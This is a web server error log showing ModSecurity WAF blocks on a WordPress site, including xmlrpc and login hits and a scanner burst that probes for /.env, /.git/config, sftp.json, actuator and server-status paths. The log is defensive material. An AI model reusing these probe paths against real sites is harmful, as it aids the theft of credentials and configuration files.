[Wed Nov 26 10:08:50.807195 2025] [:error] [pid 45901:tid 45906] [client 190.89.239.16:43355] [client 190.89.239.16] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 190.89.239.16, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSZhMiunQ1SpfPRNrtxzgAAAAQM"]
[Wed Nov 26 10:13:36.087782 2025] [:error] [pid 45901:tid 45917] [client 123.187.240.242:38345] [client 123.187.240.242] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "aSZiUCunQ1SpfPRNrtx0zgAAAQ4"]
[Wed Nov 26 10:38:23.384175 2025] [proxy_fcgi:error] [pid 34743:tid 34785] [client 54.39.210.14:63374] AH01071: Got error 'PHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO `rcwp_options` (`option_name`, `option_value`, `autoload`) VALUES ('_transient_timeout_6__1467937575', '1764126503', 'off') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`) made by require('wp-blog-header.php'), require_once('wp-includes/template-loader.php'), include('/themes/genesis/page.php'), genesis, get_header, locate_template, load_template, require_once('/themes/genesis/header.php'), do_action('genesis_after_header'), WP_Hook->do_action, WP_Hook->apply_filters, after_header_wrap, dynamic_sidebar, WP_Widget->display_callback, WP_Widget_Text->widget, apply_filters('widget_text'), WP_Hook->apply_filters, do_shortcode, preg_replace_callback, do_shortcode_tag, Imagely\\NGG\\Display\\Shortcodes->__call, Imagely\\NGG\\Display\\Shortcodes->render_shortcode, Imagely\\NGG\\Display\\DisplayManager->display_image...PHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO `rcwp_options` (`option_name`, `option_value`, `autoload`) VALUES ('_transient_6__1467937575', '\\"\\\\n<div class=\\\\\\"ngg-galleryoverview ngg-slideshow\\\\\\"\\\\n\\\\tid=\\\\\\"ngg-slideshow-d000ff05107a01b586b81ec64fed27b8-700015850\\\\\\"\\\\n\\\\tdata-gallery-id=\\\\\\"d000ff05107a01b586b81ec64fed27b8\\\\\\"\\\\n\\\\tstyle=\\\\\\"max-width: 1225px;\\\\n\\\\t\\\\t\\\\tmax-height: 365px;\\\\n\\\\t\\\\t\\\\tdisplay: none;\\\\\\">\\\\n\\\\n\\\\t\\\\n\\\\t\\\\t<a href=\\\\\\"https:\\\\/\\\\/rcacivils.com\\\\/wp-content\\\\/gallery\\\\/home-page-slider\\\\/1.jpg\\\\\\"\\\\n\\\\t\\\\t\\\\ttitle=\\\\\\" \\\\\\"\\\\n\\\\t\\\\t\\\\tdata-src=\\\\\\"https:\\\\/\\\\/rcacivils.com\\\\/wp-content\\\\/gallery\\\\/home-page-slider\\\\/1.jpg\\\\\\"\\\\n\\\\t\\\\t\\\\tdata-thumbnail=\\\\\\"https:\\\\/\\\\/rcacivils.com\\\\/wp-content\\\\/gallery\\\\/home-page-slider\\\\/thumbs\\\\/thumbs_1.jpg\\\\\\"\\\\n\\\\t\\\\t\\\\tdata-image-id=\\\\\\"34\\\\\\"\\\\n\\\\t\\\\t\\\\tdata-title=\\\\\\"1\\\\\\"\\\\n\\\\t\\\\t\\\\tdata-description=\\\\\\" \\\\\\"\\\\n\\\\t\\\\t\\\\tclass=\\\\\\"ngg-fancybox\\\\\\" rel=...'
[Wed Nov 26 11:14:24.062262 2025] [:error] [pid 34830:tid 34856] [client 78.47.142.186:39644] [client 78.47.142.186] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 78.47.142.186, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSZwkEukvkWgWN6jCR2LJAAAABg"]
[Wed Nov 26 12:24:55.359846 2025] [:error] [pid 10383:tid 10395] [client 54.36.20.147:52766] [client 54.36.20.147] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.36.20.147, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSaBF60RJ-zjhOVjD8-4sgAAAck"]
[Wed Nov 26 13:27:01.175826 2025] [autoindex:error] [pid 45836:tid 45855] [client 139.59.30.253:52499] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Wed Nov 26 13:31:49.589040 2025] [:error] [pid 34830:tid 34847] [client 115.79.136.140:58005] [client 115.79.136.140] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 115.79.136.140, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSaQxUukvkWgWN6jCR2k_AAAAA8"]
[Wed Nov 26 13:44:22.448129 2025] [:error] [pid 34742:tid 34754] [client 84.239.43.152:49556] [client 84.239.43.152] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:^(?:microsoft url|user-Agent|www\\\\.weblogs\\\\.com|(?:jakart|vi)a|(google|i{0,1}explorer{0,1}\\\\.exe|(ms){0,1}ie( [0-9.]{1,}){0,1} {0,1}(compatible( browser){0,1}){0,1})$)|\\\\bdatacha0s\\\\b|; widows|\\\\\\\\r|a(?: href=|d(?:sarobot|vanced email extractor ..." at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/03_Global_Agents.conf"] [line "29"] [id "210831"] [rev "2"] [msg "COMODO WAF: Rogue web site crawler||www.rcacivilgroup.com|F|4"] [data "panscient.com"] [severity "WARNING"] [tag "CWAF"] [tag "Agents"] [hostname "www.rcacivilgroup.com"] [uri "/robots.txt"] [unique_id "aSaTtpSuLNwpQF_jzAdB4gAAAEY"]
[Wed Nov 26 13:44:23.520087 2025] [:error] [pid 34830:tid 34839] [client 84.239.43.152:46204] [client 84.239.43.152] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:^(?:microsoft url|user-Agent|www\\\\.weblogs\\\\.com|(?:jakart|vi)a|(google|i{0,1}explorer{0,1}\\\\.exe|(ms){0,1}ie( [0-9.]{1,}){0,1} {0,1}(compatible( browser){0,1}){0,1})$)|\\\\bdatacha0s\\\\b|; widows|\\\\\\\\r|a(?: href=|d(?:sarobot|vanced email extractor ..." at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/03_Global_Agents.conf"] [line "29"] [id "210831"] [rev "2"] [msg "COMODO WAF: Rogue web site crawler||www.rcacivilgroup.com|F|4"] [data "panscient.com"] [severity "WARNING"] [tag "CWAF"] [tag "Agents"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "aSaTt0ukvkWgWN6jCR2nkQAAAAc"]
[Wed Nov 26 13:44:24.099234 2025] [:error] [pid 10383:tid 10406] [client 84.239.43.152:40147] [client 84.239.43.152] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:^(?:microsoft url|user-Agent|www\\\\.weblogs\\\\.com|(?:jakart|vi)a|(google|i{0,1}explorer{0,1}\\\\.exe|(ms){0,1}ie( [0-9.]{1,}){0,1} {0,1}(compatible( browser){0,1}){0,1})$)|\\\\bdatacha0s\\\\b|; widows|\\\\\\\\r|a(?: href=|d(?:sarobot|vanced email extractor ..." at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/03_Global_Agents.conf"] [line "29"] [id "210831"] [rev "2"] [msg "COMODO WAF: Rogue web site crawler||www.rcacivilgroup.com|F|4"] [data "panscient.com"] [severity "WARNING"] [tag "CWAF"] [tag "Agents"] [hostname "www.rcacivilgroup.com"] [uri "/robots.txt"] [unique_id "aSaTuK0RJ-zjhOVjD8_RUQAAAdQ"]
[Wed Nov 26 13:44:25.197506 2025] [:error] [pid 45836:tid 45849] [client 84.239.43.152:42584] [client 84.239.43.152] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:^(?:microsoft url|user-Agent|www\\\\.weblogs\\\\.com|(?:jakart|vi)a|(google|i{0,1}explorer{0,1}\\\\.exe|(ms){0,1}ie( [0-9.]{1,}){0,1} {0,1}(compatible( browser){0,1}){0,1})$)|\\\\bdatacha0s\\\\b|; widows|\\\\\\\\r|a(?: href=|d(?:sarobot|vanced email extractor ..." at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/03_Global_Agents.conf"] [line "29"] [id "210831"] [rev "2"] [msg "COMODO WAF: Rogue web site crawler||www.rcacivilgroup.com|F|4"] [data "panscient.com"] [severity "WARNING"] [tag "CWAF"] [tag "Agents"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "aSaTuZfrnOGqL-seZAw_WgAAAMM"]
[Wed Nov 26 13:44:27.442360 2025] [:error] [pid 45901:tid 45914] [client 84.239.43.152:44836] [client 84.239.43.152] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:^(?:microsoft url|user-Agent|www\\\\.weblogs\\\\.com|(?:jakart|vi)a|(google|i{0,1}explorer{0,1}\\\\.exe|(ms){0,1}ie( [0-9.]{1,}){0,1} {0,1}(compatible( browser){0,1}){0,1})$)|\\\\bdatacha0s\\\\b|; widows|\\\\\\\\r|a(?: href=|d(?:sarobot|vanced email extractor ..." at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/03_Global_Agents.conf"] [line "29"] [id "210831"] [rev "2"] [msg "COMODO WAF: Rogue web site crawler||www.rcacivilgroup.com|F|4"] [data "panscient.com"] [severity "WARNING"] [tag "CWAF"] [tag "Agents"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "aSaTuyunQ1SpfPRNrtyp-AAAAQs"]
[Wed Nov 26 13:44:27.895317 2025] [:error] [pid 45836:tid 45868] [client 84.239.43.152:42584] [client 84.239.43.152] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:^(?:microsoft url|user-Agent|www\\\\.weblogs\\\\.com|(?:jakart|vi)a|(google|i{0,1}explorer{0,1}\\\\.exe|(ms){0,1}ie( [0-9.]{1,}){0,1} {0,1}(compatible( browser){0,1}){0,1})$)|\\\\bdatacha0s\\\\b|; widows|\\\\\\\\r|a(?: href=|d(?:sarobot|vanced email extractor ..." at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/03_Global_Agents.conf"] [line "29"] [id "210831"] [rev "2"] [msg "COMODO WAF: Rogue web site crawler||www.rcacivilgroup.com|F|4"] [data "panscient.com"] [severity "WARNING"] [tag "CWAF"] [tag "Agents"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "aSaTu5frnOGqL-seZAw_WwAAANY"]
[Wed Nov 26 13:44:29.960254 2025] [:error] [pid 34830:tid 34855] [client 84.239.43.152:31851] [client 84.239.43.152] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:^(?:microsoft url|user-Agent|www\\\\.weblogs\\\\.com|(?:jakart|vi)a|(google|i{0,1}explorer{0,1}\\\\.exe|(ms){0,1}ie( [0-9.]{1,}){0,1} {0,1}(compatible( browser){0,1}){0,1})$)|\\\\bdatacha0s\\\\b|; widows|\\\\\\\\r|a(?: href=|d(?:sarobot|vanced email extractor ..." at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/03_Global_Agents.conf"] [line "29"] [id "210831"] [rev "2"] [msg "COMODO WAF: Rogue web site crawler||www.rcacivilgroup.com|F|4"] [data "panscient.com"] [severity "WARNING"] [tag "CWAF"] [tag "Agents"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "aSaTvUukvkWgWN6jCR2npQAAABc"]
[Wed Nov 26 13:44:33.858076 2025] [:error] [pid 34744:tid 34804] [client 84.239.43.152:52000] [client 84.239.43.152] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:^(?:microsoft url|user-Agent|www\\\\.weblogs\\\\.com|(?:jakart|vi)a|(google|i{0,1}explorer{0,1}\\\\.exe|(ms){0,1}ie( [0-9.]{1,}){0,1} {0,1}(compatible( browser){0,1}){0,1})$)|\\\\bdatacha0s\\\\b|; widows|\\\\\\\\r|a(?: href=|d(?:sarobot|vanced email extractor ..." at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/03_Global_Agents.conf"] [line "29"] [id "210831"] [rev "2"] [msg "COMODO WAF: Rogue web site crawler||www.rcacivilgroup.com|F|4"] [data "panscient.com"] [severity "WARNING"] [tag "CWAF"] [tag "Agents"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "aSaTwUtgOvVbhyALkTQAOgAAAYE"]
[Wed Nov 26 13:44:34.473469 2025] [:error] [pid 10383:tid 10391] [client 84.239.43.152:49980] [client 84.239.43.152] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:^(?:microsoft url|user-Agent|www\\\\.weblogs\\\\.com|(?:jakart|vi)a|(google|i{0,1}explorer{0,1}\\\\.exe|(ms){0,1}ie( [0-9.]{1,}){0,1} {0,1}(compatible( browser){0,1}){0,1})$)|\\\\bdatacha0s\\\\b|; widows|\\\\\\\\r|a(?: href=|d(?:sarobot|vanced email extractor ..." at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/03_Global_Agents.conf"] [line "29"] [id "210831"] [rev "2"] [msg "COMODO WAF: Rogue web site crawler||www.rcacivilgroup.com|F|4"] [data "panscient.com"] [severity "WARNING"] [tag "CWAF"] [tag "Agents"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "aSaTwq0RJ-zjhOVjD8_RhgAAAcU"]
[Wed Nov 26 14:38:24.400014 2025] [:error] [pid 34744:tid 34826] [client 35.187.115.6:49810] [client 35.187.115.6] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.187.115.6, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSagYEtgOvVbhyALkTQUlAAAAZc"]
[Wed Nov 26 15:16:36.749340 2025] [:error] [pid 46443:tid 46454] [client 104.237.138.218:49092] [client 104.237.138.218] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.237.138.218, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSapVMLmDsnHrj-QFB-D5AAAAEk"]
[Wed Nov 26 15:46:51.104272 2025] [:error] [pid 46443:tid 46465] [client 213.253.204.58:57712] [client 213.253.204.58] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 213.253.204.58, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSawa8LmDsnHrj-QFB-QmAAAAFQ"]
[Wed Nov 26 16:10:58.308058 2025] [:error] [pid 45683:tid 45696] [client 147.93.62.240:33398] [client 147.93.62.240] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 147.93.62.240, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSa2EhX1gQgNFW_222p6jQAAAUg"]
[Wed Nov 26 16:11:00.263656 2025] [:error] [pid 45683:tid 45698] [client 147.93.62.240:33398] [client 147.93.62.240] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 147.93.62.240, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSa2FBX1gQgNFW_222p6rAAAAUo"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 26 16:26:47.321690 2025] [:error] [pid 45685:tid 45745] [client 206.189.225.181:33130] [client 206.189.225.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/@vite/env"] [unique_id "aSa5x1j3f_NRdgU0DQ6tfQAAAQM"]
[Wed Nov 26 16:26:47.949216 2025] [:error] [pid 45683:tid 45708] [client 206.189.225.181:33134] [client 206.189.225.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/actuator/env"] [unique_id "aSa5xxX1gQgNFW_222p_gQAAAVQ"]
[Wed Nov 26 16:26:48.576944 2025] [:error] [pid 46443:tid 46450] [client 206.189.225.181:33138] [client 206.189.225.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/php-cgi/php-cgi.exe"] [unique_id "aSa5yMLmDsnHrj-QFB-j4wAAAEU"]
[Wed Nov 26 16:26:49.209813 2025] [:error] [pid 45769:tid 45790] [client 206.189.225.181:34718] [client 206.189.225.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/server"] [unique_id "aSa5yVdG5Eht9c3yy4P1dQAAAdI"]
[Wed Nov 26 16:26:49.837244 2025] [:error] [pid 45685:tid 45750] [client 206.189.225.181:34730] [client 206.189.225.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/.vscode/sftp.json"] [unique_id "aSa5yVj3f_NRdgU0DQ6tgAAAAQg"]
[Wed Nov 26 16:26:50.455907 2025] [:error] [pid 46443:tid 46460] [client 206.189.225.181:34746] [client 206.189.225.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/about"] [unique_id "aSa5ysLmDsnHrj-QFB-j5wAAAE8"]
[Wed Nov 26 16:26:51.081032 2025] [:error] [pid 46443:tid 46466] [client 206.189.225.181:34750] [client 206.189.225.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/debug/default/view"] [unique_id "aSa5y8LmDsnHrj-QFB-j6QAAAFU"]
[Wed Nov 26 16:26:51.708999 2025] [:error] [pid 45683:tid 45688] [client 206.189.225.181:34762] [client 206.189.225.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/v2/_catalog"] [unique_id "aSa5yxX1gQgNFW_222p_hQAAAUA"]
[Wed Nov 26 16:26:52.344790 2025] [:error] [pid 45683:tid 45695] [client 206.189.225.181:34776] [client 206.189.225.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application"] [unique_id "aSa5zBX1gQgNFW_222p_iAAAAUc"]
[Wed Nov 26 16:26:52.971054 2025] [:error] [pid 45685:tid 45765] [client 206.189.225.181:34786] [client 206.189.225.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/server-status"] [unique_id "aSa5zFj3f_NRdgU0DQ6tggAAARc"]
[Wed Nov 26 16:26:53.592852 2025] [:error] [pid 46443:tid 46458] [client 206.189.225.181:34788] [client 206.189.225.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/login.action"] [unique_id "aSa5zcLmDsnHrj-QFB-j7wAAAE0"]
[Wed Nov 26 16:26:54.278389 2025] [:error] [pid 46443:tid 46468] [client 206.189.225.181:34796] [client 206.189.225.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/_all_dbs"] [unique_id "aSa5zsLmDsnHrj-QFB-j8AAAAFc"]
[Wed Nov 26 16:26:54.962353 2025] [:error] [pid 45685:tid 45757] [client 206.189.225.181:34808] [client 206.189.225.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/.DS_Store"] [unique_id "aSa5zlj3f_NRdgU0DQ6thAAAAQ8"]
[Wed Nov 26 16:26:55.707477 2025] [:error] [pid 45769:tid 45786] [client 206.189.225.181:34812] [client 206.189.225.181] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/.env"] [unique_id "aSa5z1dG5Eht9c3yy4P1eQAAAc4"]
[Wed Nov 26 16:26:56.340308 2025] [:error] [pid 45684:tid 45726] [client 206.189.225.181:34828] [client 206.189.225.181] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/.git/config"] [unique_id "aSa50Pg5LMxwI4-PD1cIowAAAAs"]
[Wed Nov 26 16:26:56.959640 2025] [:error] [pid 45769:tid 45776] [client 206.189.225.181:34830] [client 206.189.225.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/s/4313e2232313e243e2330313/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties"] [unique_id "aSa50FdG5Eht9c3yy4P1ewAAAcQ"]
[Wed Nov 26 16:26:57.599238 2025] [:error] [pid 45685:tid 45746] [client 206.189.225.181:34844] [client 206.189.225.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/config.json"] [unique_id "aSa50Vj3f_NRdgU0DQ6thwAAAQQ"]
[Wed Nov 26 16:26:58.218292 2025] [:error] [pid 46443:tid 46453] [client 206.189.225.181:34854] [client 206.189.225.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/telescope/requests"] [unique_id "aSa50sLmDsnHrj-QFB-j8QAAAEg"]
[Wed Nov 26 16:26:58.844076 2025] [:error] [pid 46443:tid 46449] [client 206.189.225.181:55392] [client 206.189.225.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/info.php"] [unique_id "aSa50sLmDsnHrj-QFB-j8gAAAEQ"]
[Wed Nov 26 16:26:59.470792 2025] [:error] [pid 45684:tid 45729] [client 206.189.225.181:55396] [client 206.189.225.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "aSa50_g5LMxwI4-PD1cIswAAAA4"]
[Wed Nov 26 16:44:28.577723 2025] [:error] [pid 45683:tid 45691] [client 68.183.180.73:53964] [client 68.183.180.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/v2/api-docs"] [unique_id "aSa97BX1gQgNFW_222qE1AAAAUM"]
[Wed Nov 26 16:44:28.841364 2025] [:error] [pid 45683:tid 45702] [client 68.183.180.73:53974] [client 68.183.180.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/v3/api-docs"] [unique_id "aSa97BX1gQgNFW_222qE1QAAAU4"]
